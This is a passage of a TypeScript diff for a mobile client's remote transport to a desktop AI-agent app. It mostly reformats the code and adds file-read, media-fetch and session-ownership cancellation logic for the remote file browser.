+ limits?: MobileGoalLimitsInput;
+ }): Promise<void>;
clear(sessionId: string): Promise<void>;
getStatus(sessionId: string): Promise<MobileGoalStatusPayload | null>;
pause(sessionId: string): Promise<void>;
@@ -577,9 +698,14 @@ export interface MobileMakerTransport {
list(filter?: ScheduleListFilter): Promise<RemoteSchedule[]>;
get(id: string): Promise<RemoteSchedule>;
listTemplates(): Promise<RemoteScheduleTemplate[]>;
- createFromTemplate(input: RemoteScheduleCreateFromTemplateInput): Promise<RemoteSchedule>;
+ createFromTemplate(
+ input: RemoteScheduleCreateFromTemplateInput,
+ ): Promise<RemoteSchedule>;
create(input: RemoteScheduleWriteInput): Promise<RemoteSchedule>;
- update(id: string, patch: Partial<RemoteScheduleWriteInput>): Promise<RemoteSchedule>;
+ update(
+ id: string,
+ patch: Partial<RemoteScheduleWriteInput>,
+ ): Promise<RemoteSchedule>;
listRuns(id: string, limit?: number): Promise<RemoteScheduleRun[]>;
runNow(id: string): Promise<void>;
pause(id: string): Promise<RemoteSchedule>;
@@ -598,17 +724,28 @@ export interface MobileMakerTransport {
compactSession(
sessionId: string,
instructions?: string,
- ): Promise<{ tokensBefore?: number; estimatedTokensAfter?: number; noop?: boolean } | null>;
+ ): Promise<{
+ tokensBefore?: number;
+ estimatedTokensAfter?: number;
+ noop?: boolean;
+ } | null>;
input: {
getProjection(sessionId: string): Promise<InputProjection>;
- enqueue(sessionId: string, item: QueuedRemoteMessage, opts?: { sendAtMs?: number }): Promise<InputProjection>;
+ enqueue(
+ sessionId: string,
+ item: QueuedRemoteMessage,
+ opts?: { sendAtMs?: number },
+ ): Promise<InputProjection>;
compact(sessionId: string): Promise<InputProjection>;
steer(
sessionId: string,
item: QueuedRemoteMessage,
opts?: { removeFromQueue?: boolean; touchUserSend?: boolean },
): Promise<boolean>;
- stop(sessionId: string, opts?: { keepQueue?: boolean; pauseQueue?: boolean }): Promise<InputProjection>;
+ stop(
+ sessionId: string,
+ opts?: { keepQueue?: boolean; pauseQueue?: boolean },
+ ): Promise<InputProjection>;
resume(sessionId: string): Promise<InputProjection>;
retryLastError(sessionId: string): Promise<InputProjection>;
clearError(sessionId: string): Promise<InputProjection>;
@@ -621,11 +758,27 @@ export interface MobileMakerTransport {
trustedContexts?: MobileSessionReferenceContext[],
): Promise<InputProjection>;
/** 整条内容替换(文本+附件),排队消息复用 composer 编辑的保存入口;老桌面端无此通道会抛 CHANNEL_NOT_ALLOWED。 */
- updateContent(sessionId: string, clientId: string, item: QueuedRemoteMessage): Promise<InputProjection>;
- move(sessionId: string, clientId: string, targetIndex: number): Promise<InputProjection>;
+ updateContent(
+ sessionId: string,
+ clientId: string,
+ item: QueuedRemoteMessage,
+ ): Promise<InputProjection>;
+ move(
+ sessionId: string,
+ clientId: string,
+ targetIndex: number,
+ ): Promise<InputProjection>;
setExpanded(sessionId: string, expanded: boolean): Promise<InputProjection>;
- setInteractionLock(sessionId: string, lockId: string, locked: boolean): Promise<InputProjection>;
- setEditLock(sessionId: string, clientId: string, locked: boolean): Promise<InputProjection>;
+ setInteractionLock(
+ sessionId: string,
+ lockId: string,
+ locked: boolean,
+ ): Promise<InputProjection>;
+ setEditLock(
+ sessionId: string,
+ clientId: string,
+ locked: boolean,
+ ): Promise<InputProjection>;
clearSession(sessionId: string): Promise<InputProjection>;
};
fs: {
@@ -636,87 +789,178 @@ export interface MobileMakerTransport {
};
/** 完整文件浏览(workdir 相对路径语义,被控端 file-browser:remote-op 聚合通道)。 */
fileBrowser: {
+ cacheScope: string;
+ readBytes(
+ workdir: string,
+ relPath: string,
+ signal?: AbortSignal,
+ beforeInvoke?: () => Promise<unknown>,
+ options?: { stream?: boolean },
+ ): Promise<MobileRemoteMediaFetchResult>;
caps(workdir: string): Promise<FileBrowserCapsResult>;
/** 返回裸 entries(unknown),消费方用 normalizeRemoteOpDirEntries 归一化。 */
- listDir(workdir: string, relPath: string): Promise<unknown>;
- readFile(workdir: string, relPath: string, opts?: { acceptGzip?: boolean }): Promise<FileBrowserReadFileResult>;
- listAllFiles(workdir: string, cap?: number): Promise<FileBrowserListAllFilesResult>;
+ listDir(
+ workdir: string,
+ relPath: string,
+ opts?: { includeIgnored?: boolean; maxEntries?: number },
+ ): Promise<unknown>;
+ readFile(
+ workdir: string,
+ relPath: string,
+ opts?: { acceptGzip?: boolean },
+ ): Promise<FileBrowserReadFileResult>;
+ listAllFiles(
+ workdir: string,
+ cap?: number,
+ ): Promise<FileBrowserListAllFilesResult>;
/** ripgrep 内容搜索(被控端 searchCollect,一次性收集,上限被控端封顶 500)。 */
searchCollect(
workdir: string,
query: string,
opts?: { caseSensitive?: boolean; maxMatches?: number },
): Promise<FileBrowserSearchCollectResult>;
- thumbnail(workdir: string, relPath: string): Promise<FileBrowserThumbnailResult>;
- exportFileStart(workdir: string, relPath: string): Promise<FileBrowserExportStartResult>;
- exportFileStatus(workdir: string, transferId: string): Promise<FileBrowserExportStatusResult>;
+ thumbnail(
+ workdir: string,
+ relPath: string,
+ ): Promise<FileBrowserThumbnailResult>;
+ exportFileStart(
+ workdir: string,
+ relPath: string,
+ ): Promise<FileBrowserExportStartResult>;
+ exportFileStatus(
+ workdir: string,
+ transferId: string,
+ ): Promise<FileBrowserExportStatusResult>;
};
}
-export type SessionMetaPatch = Partial<Pick<RemoteSession, 'status' | 'title' | 'pinnedAt'>>;
+export type SessionMetaPatch = Partial<
+ Pick<RemoteSession, "status" | "title" | "pinnedAt">
+>;
export const MOBILE_MAKER_CHANNELS = MOBILE_REMOTE_INVOKE_CHANNELS;
export function createMobileMakerTransport({
deviceId,
invoke,
+ isCurrent,
}: MobileMakerTransportDeps): MobileMakerTransport {
- const call = <T,>(channel: string, args: unknown[] = []): Promise<T> => {
- if (!deviceId) return Promise.reject(new Error('remote device id is required'));
+ const fileOwner = getMobileAuthOwner();
+ const callerIsCurrent = isCurrent;
+ isCurrent = () =>
+ isMobileAuthOwnerCurrent(fileOwner) && callerIsCurrent?.() !== false;
+ const call = <T>(channel: string, args: unknown[] = []): Promise<T> => {
+ if (!deviceId)
+ return Promise.reject(new Error("remote device id is required"));
return invoke<T>(deviceId, channel, args);
};
+ const fileOp = async <T>(args: Record<string, unknown>): Promise<T> => {
+ if (isCurrent?.() === false) throw new Error("FILE_PEER_CANCELLED");
+ const result = await call<T>("file-browser:remote-op", [args]);
+ if (isCurrent?.() === false) throw new Error("FILE_PEER_CANCELLED");
+ return result;
+ };
+ const files = createDeviceFileOperations(fileOp);
+ const fetchMedia = (
+ url: string,
+ opts?: MobileRemoteMediaFetchOptions,
+ fallback?: () => Promise<MobileRemoteMediaFetchResult>,
+ stream = opts?.stream ?? true,
+ ) => {
+ const fetch = (prepareOnly: boolean) =>
+ call<MobileRemoteMediaFetchResult>(DEVICE_LINK_MEDIA_FETCH_CHANNEL, [
+ {
+ url,
+ prepareOnly,
+ ...(opts?.skipCache ? { skipCache: true } : {}),
+ ...(opts?.thumbnail ? { thumbnail: true } : {}),
+ },
+ ]);
+ return readDeviceFile({
+ stream,
+ peerResultIsTransient: true,
+ isCurrent,
+ discard: (result) => {
+ const uri = peerMediaUri(result);
+ if (uri) releasePeerMedia(uri);
+ else if (
+ isMobileAuthOwnerCurrent(fileOwner) &&
+ typeof result.ossKey === "string" &&
+ result.ossKey.length > 0
+ )
+ opts?.onDiscardOssKey?.(result.ossKey);
+ },
+ signal: opts?.signal,
+ prepare: () => fetch(!opts?.thumbnail),
+ peer: (metadata) =>
+ metadata.size <= FILE_PEER_MAX_BYTES
+ ? tryMobilePeerFile(deviceId, url, opts?.signal)
+ : Promise.resolve(null),
+ fallback: fallback ?? (() => fetch(false)),
+ });
+ };
return {
- createSession: (opts) => call('maker:create-session', [opts]),
- getCapabilities: (agentKind) => call('maker:get-capabilities', [agentKind]),
+ createSession: (opts) => call("maker:create-session", [opts]),
+ getCapabilities: (agentKind) => call("maker:get-capabilities", [agentKind]),
listAvailableAgents: () => call('maker:list-available-agents', []),
// Pi 原生分支树通过 device-link 复用桌面端 runtime;移动会话页只在当前会话
// 确认为 Pi 时展示入口,并在渲染前校验返回的树形状。
- getSessionTree: (sessionId) => call('maker:get-session-tree', [sessionId]),
+ getSessionTree: (sessionId) => call("maker:get-session-tree", [sessionId]),
navigateSessionTree: (sessionId, entryId, options) =>
- call('maker:navigate-session-tree', [sessionId, entryId, options]),
- listProviders: () => call('maker:provider:list', [{
- capabilities: [CONTROLLER_CAPABILITY_PROVIDER_LOGO_KINDS_V2],
- }]),
- getSession: (sessionId) => call('local-db:sessions:get', [sessionId]),
- searchConversations: (request) => call('local-db:conversations:search', [request]),
- patchSessionMeta: (sessionId, patch) => call('local-db:sessions:patch-meta', [sessionId, patch]),
+ call("maker:navigate-session-tree", [sessionId, entryId, options]),
+ listProviders: () =>
+ call("maker:provider:list", [
+ {
+ capabilities: [CONTROLLER_CAPABILITY_PROVIDER_LOGO_KINDS_V2],
+ },
+ ]),
+ getSession: (sessionId) => call("local-db:sessions:get", [sessionId]),
+ searchConversations: (request) =>
+ call("local-db:conversations:search", [request]),
+ patchSessionMeta: (sessionId, patch) =>
+ call("local-db:sessions:patch-meta", [sessionId, patch]),
dismissErrorMessage: (sessionId, clientId) =>
- call('local-db:messages:dismiss-error', [sessionId, clientId]),
- ackInterruptedTurn: (sessionId) => call('local-db:sessions:ack-interrupted', [sessionId]),
- regenerateSessionTitle: (sessionId) => call('maker:regenerate-title', [{ sessionId }]),
- listMessages: (sessionId, opts) => call('local-db:messages:list', [sessionId, opts]),
- readHistoryView: (sessionId, before) => call('local-db:messages:view', [sessionId, { before }]),
- readWorkDetails: (sessionId, ref, after) => call('local-db:messages:work-details', [sessionId, ref, { after }]),
- setHistoryExpanded: (sessionId, refs) => call('local-db:messages:view-intent', [sessionId, refs]),
+ call("local-db:messages:dismiss-error", [sessionId, clientId]),
+ ackInterruptedTurn: (sessionId) =>
+ call("local-db:sessions:ack-interrupted", [sessionId]),
+ regenerateSessionTitle: (sessionId) =>
+ call("maker:regenerate-title", [{ sessionId }]),
+ listMessages: (sessionId, opts) =>
+ call("local-db:messages:list", [sessionId, opts]),
+ readHistoryView: (sessionId, before) =>
+ call("local-db:messages:view", [sessionId, { before }]),
+ readWorkDetails: (sessionId, ref, after) =>
+ call("local-db:messages:work-details", [sessionId, ref, { after }]),
+ setHistoryExpanded: (sessionId, refs) =>
+ call("local-db:messages:view-intent", [sessionId, refs]),
aroundMessages: (sessionId, messageId, opts) =>
- call('local-db:messages:around', [sessionId, messageId, opts]),
+ call("local-db:messages:around", [sessionId, messageId, opts]),
aroundMessagesByClientId: (sessionId, clientId, opts) =>
- call('local-db:messages:around-client-id', [sessionId, clientId, opts]),
+ call("local-db:messages:around-client-id", [sessionId, clientId, opts]),
send: (sessionId, message, createOpts, sendOpts) =>
- call('maker:send', [sessionId, message, createOpts, sendOpts]),
- listActiveSessions: () => call('maker:list-active', [{ summary: true }]),
+ call("maker:send", [sessionId, message, createOpts, sendOpts]),
+ listActiveSessions: () => call("maker:list-active", [{ summary: true }]),
setModel: async (sessionId, model, providerId, selection) => {
const wireArgs = selection
? [sessionId, model, providerId ?? null, null, selection]
: providerId
? [sessionId, model, providerId]
: [sessionId, model];
- const result = await call<{ deferred?: boolean; superseded?: boolean } | undefined>(
- 'maker:set-model',
- wireArgs,
- );
+ const result = await call<
+ { deferred?: boolean; superseded?: boolean } | undefined
+ >("maker:set-model", wireArgs);
if (
result !== null &&
- typeof result === 'object' &&
- ('contextWindowConfirmationRequired' in result ||
- 'contextTokensForConfirmation' in result)
+ typeof result === "object" &&
+ ("contextWindowConfirmationRequired" in result ||
+ "contextTokensForConfirmation" in result)
) {
throw Object.assign(
new Error(
- 'remote model-window confirmation is unsupported; runtime selection was not changed',
+ "remote model-window confirmation is unsupported; runtime selection was not changed",
),
- { code: 'PRECONDITION_FAILED' },
+ { code: "PRECONDITION_FAILED" },
);
}
return result;
@@ -728,182 +972,278 @@ export function createMobileMakerTransport({
providerId,
effort,
fastMode,
- ) => call('maker:switch-session-agent', [
- sessionId,
- targetAgentKind,
- model,
- providerId,
- effort,
- fastMode,
- ]),
+ ) =>
+ call("maker:switch-session-agent", [
+ sessionId,
+ targetAgentKind,
+ model,
+ providerId,
+ effort,
+ fastMode,
+ ]),
getSessionAgentSwitchIntent: (sessionId) =>
- call('maker:get-session-agent-switch-intent', [sessionId]),
- setEffort: (sessionId, effort) => call('maker:set-effort', [sessionId, effort]),
- setPermissionMode: (sessionId, mode) => call('maker:set-permission-mode', [sessionId, mode]),
- setPlanMode: (sessionId, enabled) => call('maker:set-plan-mode', [sessionId, enabled]),
- setFastMode: (sessionId, enabled) => call('maker:set-fast-mode', [sessionId, enabled]),
- setExtraDirs: (sessionId, dirs) => call('maker:set-extra-dirs', [sessionId, dirs]),
- getModelPricing: () => call('maker:usage:model-pricing'),
+ call("maker:get-session-agent-switch-intent", [sessionId]),
+ setEffort: (sessionId, effort) =>
+ call("maker:set-effort", [sessionId, effort]),
+ setPermissionMode: (sessionId, mode) =>
+ call("maker:set-permission-mode", [sessionId, mode]),
+ setPlanMode: (sessionId, enabled) =>
+ call("maker:set-plan-mode", [sessionId, enabled]),
+ setFastMode: (sessionId, enabled) =>
+ call("maker:set-fast-mode", [sessionId, enabled]),
+ setExtraDirs: (sessionId, dirs) =>
+ call("maker:set-extra-dirs", [sessionId, dirs]),
+ getModelPricing: () => call("maker:usage:model-pricing"),
getAccountUsage: async (agentKind, providerId) => {
- const result = await call<unknown>('maker:usage:account', providerId ? [agentKind, providerId] : [agentKind]);
- if (providerId && providerId !== 'openai' && result && (result as { providerId?: string }).providerId !== providerId) throw new Error('PRECONDITION_FAILED: Account scope unsupported');
+ const result = await call<unknown>(
+ "maker:usage:account",
+ providerId ? [agentKind, providerId] : [agentKind],
+ );
+ if (
+ providerId &&
+ providerId !== "openai" &&
+ result &&
+ (result as { providerId?: string }).providerId !== providerId
+ )
+ throw new Error("PRECONDITION_FAILED: Account scope unsupported");
return result;
},
- getSessionEstimatedValue: (sessionId) => call('local-db:messages:estimatedSessionValue', [sessionId]),
+ getSessionEstimatedValue: (sessionId) =>
+ call("local-db:messages:estimatedSessionValue", [sessionId]),
getCodexRateLimits: async (providerId) => {
- const result = await call<MobileCodexRateLimitsResult>('maker:usage:codex-rate-limits', providerId ? [providerId] : undefined);
- if (providerId && providerId !== 'openai' && result.providerId !== providerId) throw new Error('PRECONDITION_FAILED: Account scope unsupported');
+ const result = await call<MobileCodexRateLimitsResult>(
+ "maker:usage:codex-rate-limits",
+ providerId ? [providerId] : undefined,
+ );
+ if (
+ providerId &&
+ providerId !== "openai" &&
+ result.providerId !== providerId
+ )
+ throw new Error("PRECONDITION_FAILED: Account scope unsupported");
return result;
},
resetCodexRateLimits: async (idempotencyKey, providerId) => {
- const result = await call<MobileCodexRateLimitResetResult>('maker:usage:codex-rate-limit-reset', providerId ? [idempotencyKey, providerId] : [idempotencyKey]);
- if (providerId && providerId !== 'openai' && result.providerId !== providerId) throw new Error('PRECONDITION_FAILED: Account scope unsupported');
+ const result = await call<MobileCodexRateLimitResetResult>(
+ "maker:usage:codex-rate-limit-reset",
+ providerId ? [idempotencyKey, providerId] : [idempotencyKey],
+ );
+ if (
+ providerId &&
+ providerId !== "openai" &&
+ result.providerId !== providerId
+ )
+ throw new Error("PRECONDITION_FAILED: Account scope unsupported");
return result;
},
- getApiKeyPresent: () => call('maker:api-key:present'),
- setSessionModelPref: (pref) => call('maker:set-session-model-pref', [pref]),
- applyNewMakerDraftPref: (pref) => call('maker:apply-new-maker-draft-pref', [pref]),
- getNewMakerDefaults: (agentKind) => call('maker:get-new-maker-defaults', [agentKind]),
+ getApiKeyPresent: () => call("maker:api-key:present"),
+ setSessionModelPref: (pref) => call("maker:set-session-model-pref", [pref]),
+ applyNewMakerDraftPref: (pref) =>
+ call("maker:apply-new-maker-draft-pref", [pref]),
+ getNewMakerDefaults: (agentKind) =>
+ call("maker:get-new-maker-defaults", [agentKind]),
applyNewMakerWorktreePref: (worktreeEnabled) =>
- call('maker:apply-new-maker-worktree-pref', [{ worktreeEnabled }]),
+ call("maker:apply-new-maker-worktree-pref", [{ worktreeEnabled }]),
getNewMakerWorktreeBranchPref: (baseRepo) =>
- call('maker:get-new-maker-worktree-branch-pref', [{ baseRepo }]),
+ call("maker:get-new-maker-worktree-branch-pref", [{ baseRepo }]),
applyNewMakerWorktreeBranchPref: (baseRepo, sourceBranch) =>
- call('maker:apply-new-maker-worktree-branch-pref', [{ baseRepo, sourceBranch }]),
+ call("maker:apply-new-maker-worktree-branch-pref", [
+ { baseRepo, sourceBranch },
+ ]),
worktree: {
- detectCwd: (cwd) => call('worktree:detect-cwd', [{ cwd }]),
- listBranches: (baseRepo) => call('worktree:list-branches', [{ baseRepo }]),
- suggestName: (baseRepo) => call('worktree:suggest-name', [{ baseRepo }]),
- create: (req) => call('worktree:create', [req]),
- discardPrecreated: (input) => call('worktree:discard-precreated', [input]),
+ detectCwd: (cwd) => call("worktree:detect-cwd", [{ cwd }]),
+ listBranches: (baseRepo) =>
+ call("worktree:list-branches", [{ baseRepo }]),
+ suggestName: (baseRepo) => call("worktree:suggest-name", [{ baseRepo }]),
+ create: (req) => call("worktree:create", [req]),
+ discardPrecreated: (input) =>
+ call("worktree:discard-precreated", [input]),
},
listAgentCommands: (agentKind, opts) =>
- call('maker:list-agent-commands', opts ? [agentKind, opts] : [agentKind]),
- listDesktopCommands: () => call('maker:list-desktop-commands', []),
- learnStart: (req) => call('learn:start', [req]),
- listAgentSkills: (agentKind, opts) => call('maker:list-agent-skills', [agentKind, opts]),
- scanAtResources: (agentKind, opts) => call('maker:scan-at-resources', [agentKind, opts]),
+ call("maker:list-agent-commands", opts ? [agentKind, opts] : [agentKind]),
+ listDesktopCommands: () => call("maker:list-desktop-commands", []),
+ learnStart: (req) => call("learn:start", [req]),
+ listAgentSkills: (agentKind, opts) =>
+ call("maker:list-agent-skills", [agentKind, opts]),
+ scanAtResources: (agentKind, opts) =>
+ call("maker:scan-at-resources", [agentKind, opts]),
// skipCache:上次拿到的 ossKey 已悬空(对象被删)时,强制被控端绕过上传去重缓存重传。
// thumbnail:聊天列表只要缩略图,被控端缩到 1024px webp inline 回包(老被控端
// 不识别该字段,回落原图 ossKey,消费方两种回包都兼容)。
- fetchRemoteMedia: (url, opts) => call(
- DEVICE_LINK_MEDIA_FETCH_CHANNEL,
- [{
- url,
- ...(opts?.skipCache ? { skipCache: true } : {}),
- ...(opts?.thumbnail ? { thumbnail: true } : {}),
- }],
- ),
- transcribeVoice: (input) => call(DEVICE_LINK_VOICE_TRANSCRIBE_CHANNEL, [input]),
- recordVoiceDictionaryLearning: (input) => call(DEVICE_LINK_VOICE_DICTIONARY_LEARNING_CHANNEL, [input]),
- getVoiceDictionary: () => call(DEVICE_LINK_VOICE_DICTIONARY_GET_CHANNEL, []),
- getPendingInteractions: (sessionId) => call('maker:get-pending-interactions', [sessionId]),
+ fetchRemoteMedia: fetchMedia,
+ transcribeVoice: (input) =>
+ call(DEVICE_LINK_VOICE_TRANSCRIBE_CHANNEL, [input]),
+ recordVoiceDictionaryLearning: (input) =>
+ call(DEVICE_LINK_VOICE_DICTIONARY_LEARNING_CHANNEL, [input]),
+ getVoiceDictionary: () =>
+ call(DEVICE_LINK_VOICE_DICTIONARY_GET_CHANNEL, []),
+ getPendingInteractions: (sessionId) =>
+ call("maker:get-pending-interactions", [sessionId]),
resolveInteraction: (requestId, decision) =>
- call('maker:resolve-interaction', [requestId, decision]),
+ call("maker:resolve-interaction", [requestId, decision]),
getContextUsage: (sessionId, createOpts) =>
- call('maker:get-context-usage', [sessionId, createOpts]),
+ call("maker:get-context-usage", [sessionId, createOpts]),
fork: (sourceSessionId, messageClientId) =>
- call('maker:fork', [sourceSessionId, messageClientId]),
- rewindPreview: (sessionId, clientId) => call('maker:rewind:preview', [sessionId, clientId]),
- rewindCommit: (sessionId, clientId) => call('maker:rewind:commit', [sessionId, clientId]),
- deleteMessage: (sessionId, clientId) => call('maker:message:delete', [sessionId, clientId]),
- closeSession: (sessionId) => call('maker:close-session', [sessionId]),
+ call("maker:fork", [sourceSessionId, messageClientId]),
+ rewindPreview: (sessionId, clientId) =>
+ call("maker:rewind:preview", [sessionId, clientId]),
+ rewindCommit: (sessionId, clientId) =>
+ call("maker:rewind:commit", [sessionId, clientId]),
+ deleteMessage: (sessionId, clientId) =>
+ call("maker:message:delete", [sessionId, clientId]),
+ closeSession: (sessionId) => call("maker:close-session", [sessionId]),
clearSessionAttention: (sessionId, intent) =>
- call('notification:clear-session-attention', [sessionId, intent]),
+ call("notification:clear-session-attention", [sessionId, intent]),
goal: {
- set: (input) => call('maker:goal:set', [input]),
- clear: (sessionId) => call('maker:goal:clear', [sessionId]),
- getStatus: (sessionId) => call('maker:goal:get-status', [sessionId]),
- pause: (sessionId) => call('maker:goal:pause', [sessionId]),
- resume: (sessionId) => call('maker:goal:resume', [sessionId]),
- update: (sessionId, patch) => call('maker:goal:update', [{ sessionId, patch }]),
+ set: (input) => call("maker:goal:set", [input]),
+ clear: (sessionId) => call("maker:goal:clear", [sessionId]),
+ getStatus: (sessionId) => call("maker:goal:get-status", [sessionId]),
+ pause: (sessionId) => call("maker:goal:pause", [sessionId]),
+ resume: (sessionId) => call("maker:goal:resume", [sessionId]),
+ update: (sessionId, patch) =>
+ call("maker:goal:update", [{ sessionId, patch }]),
},
schedule: {
- listSidebarIndexRuns: () => call('maker:schedule:list-sidebar-index-runs'),
- list: (filter) => call('maker:schedule:list', filter ? [filter] : []),
- get: (id) => call('maker:schedule:get', [id]),
- listTemplates: () => call('maker:schedule:list-templates'),
- createFromTemplate: (input) => call('maker:schedule:create-from-template', [input]),
- create: (input) => call('maker:schedule:create', [input]),
- update: (id, patch) => call('maker:schedule:update', [id, patch]),
- listRuns: (id, limit) => call('maker:schedule:list-runs', [id, limit]),
- runNow: (id) => call('maker:schedule:run-now', [id]),
- pause: (id) => call('maker:schedule:pause', [id]),
- resume: (id) => call('maker:schedule:resume', [id]),
- delete: (id) => call('maker:schedule:delete', [id]),
- getInflightCount: (id) => call('maker:schedule:get-inflight-count', [id]),
- markRunRead: (runId) => call('maker:schedule:mark-run-read', [runId]),
+ listSidebarIndexRuns: () =>
+ call("maker:schedule:list-sidebar-index-runs"),
+ list: (filter) => call("maker:schedule:list", filter ? [filter] : []),
+ get: (id) => call("maker:schedule:get", [id]),
+ listTemplates: () => call("maker:schedule:list-templates"),
+ createFromTemplate: (input) =>
+ call("maker:schedule:create-from-template", [input]),
+ create: (input) => call("maker:schedule:create", [input]),
+ update: (id, patch) => call("maker:schedule:update", [id, patch]),
+ listRuns: (id, limit) => call("maker:schedule:list-runs", [id, limit]),
+ runNow: (id) => call("maker:schedule:run-now", [id]),
+ pause: (id) => call("maker:schedule:pause", [id]),
+ resume: (id) => call("maker:schedule:resume", [id]),
+ delete: (id) => call("maker:schedule:delete", [id]),
+ getInflightCount: (id) => call("maker:schedule:get-inflight-count", [id]),
+ markRunRead: (runId) => call("maker:schedule:mark-run-read", [runId]),
markScheduleRunsRead: (scheduleId) =>
- call('maker:schedule:mark-schedule-runs-read', [scheduleId]),
- deleteRun: (runId) => call('maker:schedule:delete-run', [runId]),
+ call("maker:schedule:mark-schedule-runs-read", [scheduleId]),
+ deleteRun: (runId) => call("maker:schedule:delete-run", [runId]),
},
projectAutomation: {
- removeSchedule: (input) => call('maker:project-automation:remove-schedule', [input]),
+ removeSchedule: (input) =>
+ call("maker:project-automation:remove-schedule", [input]),
},
compactSession: (sessionId, instructions) =>
call(
- 'maker:compact-session',
+ "maker:compact-session",
instructions === undefined ? [sessionId] : [sessionId, instructions],
),
input: {
- getProjection: (sessionId) => call('maker:input:get-projection', [sessionId]),
- enqueue: (sessionId, item, opts) => call('maker:input:enqueue', [sessionId, item, opts]),
- compact: (sessionId) => call('maker:input:compact', [sessionId]),
- steer: (sessionId, item, opts) => call('maker:input:steer', [sessionId, item, opts]),
- stop: (sessionId, opts) => call('maker:input:stop', [sessionId, opts]),
- resume: (sessionId) => call('maker:input:resume', [sessionId]),
- retryLastError: (sessionId) => call('maker:input:retry-last-error', [sessionId]),
- clearError: (sessionId) => call('maker:input:clear-error', [sessionId]),
- remove: (sessionId, clientId) => call('maker:input:remove', [sessionId, clientId]),
- updateText: (sessionId, clientId, newText, sessionRefs, trustedContexts) =>
+ getProjection: (sessionId) =>
+ call("maker:input:get-projection", [sessionId]),
+ enqueue: (sessionId, item, opts) =>
+ call("maker:input:enqueue", [sessionId, item, opts]),
+ compact: (sessionId) => call("maker:input:compact", [sessionId]),
+ steer: (sessionId, item, opts) =>
+ call("maker:input:steer", [sessionId, item, opts]),
+ stop: (sessionId, opts) => call("maker:input:stop", [sessionId, opts]),
+ resume: (sessionId) => call("maker:input:resume", [sessionId]),
+ retryLastError: (sessionId) =>
+ call("maker:input:retry-last-error", [sessionId]),
+ clearError: (sessionId) => call("maker:input:clear-error", [sessionId]),
+ remove: (sessionId, clientId) =>
+ call("maker:input:remove", [sessionId, clientId]),
+ updateText: (
+ sessionId,
+ clientId,
+ newText,
+ sessionRefs,
+ trustedContexts,
+ ) =>
call(
- 'maker:input:update-text',
+ "maker:input:update-text",
sessionRefs
? [sessionId, clientId, newText, sessionRefs, trustedContexts]
: [sessionId, clientId, newText],
),
updateContent: (sessionId, clientId, item) =>
- call('maker:input:update-content', [sessionId, clientId, item]),
+ call("maker:input:update-content", [sessionId, clientId, item]),
move: (sessionId, clientId, targetIndex) =>
- call('maker:input:move', [sessionId, clientId, targetIndex]),
+ call("maker:input:move", [sessionId, clientId, targetIndex]),
setExpanded: (sessionId, expanded) =>
- call('maker:input:set-expanded', [sessionId, expanded]),
+ call("maker:input:set-expanded", [sessionId, expanded]),
setInteractionLock: (sessionId, lockId, locked) =>
- call('maker:input:set-interaction-lock', [sessionId, lockId, locked]),
+ call("maker:input:set-interaction-lock", [sessionId, lockId, locked]),
setEditLock: (sessionId, clientId, locked) =>
- call('maker:input:set-edit-lock', [sessionId, clientId, locked]),
- clearSession: (sessionId) => call('maker:input:clear-session', [sessionId]),
+ call("maker:input:set-edit-lock", [sessionId, clientId, locked]),
+ clearSession: (sessionId) =>
+ call("maker:input:clear-session", [sessionId]),
},
fs: {
- listDir: (path) => call('fs:list-dir', [{ path }]),
- statPath: (path) => call('fs:stat-path', [{ path }]),
- mkdirP: (path) => call('fs:mkdir-p', [{ path }]),
- readTextFilePreview: (filePath) => call('text-file:read-preview', [{ filePath }]),
+ listDir: (path) => call("fs:list-dir", [{ path }]),
+ statPath: (path) => call("fs:stat-path", [{ path }]),
+ mkdirP: (path) => call("fs:mkdir-p", [{ path }]),
+ readTextFilePreview: (filePath) =>
+ call("text-file:read-preview", [{ filePath }]),
},
fileBrowser: {
- caps: (workdir) => call('file-browser:remote-op', [{ op: 'caps', workdir }]),
- listDir: (workdir, relPath) =>
- call('file-browser:remote-op', [{ op: 'listDir', workdir, relPath }]),
+ cacheScope: JSON.stringify([fileOwner.accountKey, deviceId]),
+ readBytes: async (workdir, relPath, signal, beforeInvoke, options) => {
+ assertFileReadActive(signal);
+ const retryOp = <T>(args: Record<string, unknown>) =>
+ withTransientRemoteRetry(async () => {
+ assertFileReadActive(signal);
+ await beforeInvoke?.();
+ assertFileReadActive(signal);
+ return fileOp<T>(args);
+ });
+ const caps = await retryOp<{ fileRead?: boolean }>({
+ op: "caps",
+ workdir,
+ });
+ assertFileReadActive(signal);
+ const fallback = () =>
+ exportDeviceFile(retryOp, workdir, relPath, signal);
+ if (!caps.fileRead) return fallback();
+ const reference = await retryOp<{
+ ok: boolean;
+ url: string;
+ message?: string;
+ }>({ op: "fileUrl", workdir, relPath });
+ assertFileReadActive(signal);
+ if (!reference.ok)
+ throw new Error(reference.message ?? "FILE_READ_FAILED");
+ return fetchMedia(reference.url, { signal }, fallback, options?.stream ?? false);
+ },
+ caps: (workdir) =>
+ call("file-browser:remote-op", [{ op: "caps", workdir }]),
+ listDir: (workdir, relPath, opts) =>
+ files.listDir({ workdir, relPath, ...opts }),
readFile: (workdir, relPath, opts) =>
- call('file-browser:remote-op', [
- { op: 'readFile', workdir, relPath, ...(opts?.acceptGzip ? { acceptGzip: true } : {}) },
- ]),
+ files.readFile({
+ workdir,
+ relPath,
+ ...(opts?.acceptGzip ? { acceptGzip: true } : {}),
+ }),
listAllFiles: (workdir, cap) =>
- call('file-browser:remote-op', [{ op: 'listAllFiles', workdir, ...(cap ? { cap } : {}) }]),
+ call("file-browser:remote-op", [
+ { op: "listAllFiles", workdir, ...(cap ? { cap } : {}) },
+ ]),
searchCollect: (workdir, query, opts) =>
- call('file-browser:remote-op', [{
- op: 'searchCollect',
- workdir,
- query,
- ...(opts?.caseSensitive ? { caseSensitive: true } : {}),
- ...(opts?.maxMatches ? { maxMatches: opts.maxMatches } : {}),
- }]),
+ call("file-browser:remote-op", [
+ {
+ op: "searchCollect",
+ workdir,
+ query,
+ ...(opts?.caseSensitive ? { caseSensitive: true } : {}),
+ ...(opts?.maxMatches ? { maxMatches: opts.maxMatches } : {}),
+ },
+ ]),
thumbnail: (workdir, relPath) =>
- call('file-browser:remote-op', [{ op: 'thumbnail', workdir, relPath }]),
+ call("file-browser:remote-op", [{ op: "thumbnail", workdir, relPath }]),
exportFileStart: (workdir, relPath) =>
- call('file-browser:remote-op', [{ op: 'exportFileStart', workdir, relPath }]),
+ call("file-browser:remote-op", [
+ { op: "exportFileStart", workdir, relPath },
+ ]),
exportFileStatus: (workdir, transferId) =>
- call('file-browser:remote-op', [{ op: 'exportFileStatus', workdir, transferId }]),
+ call("file-browser:remote-op", [
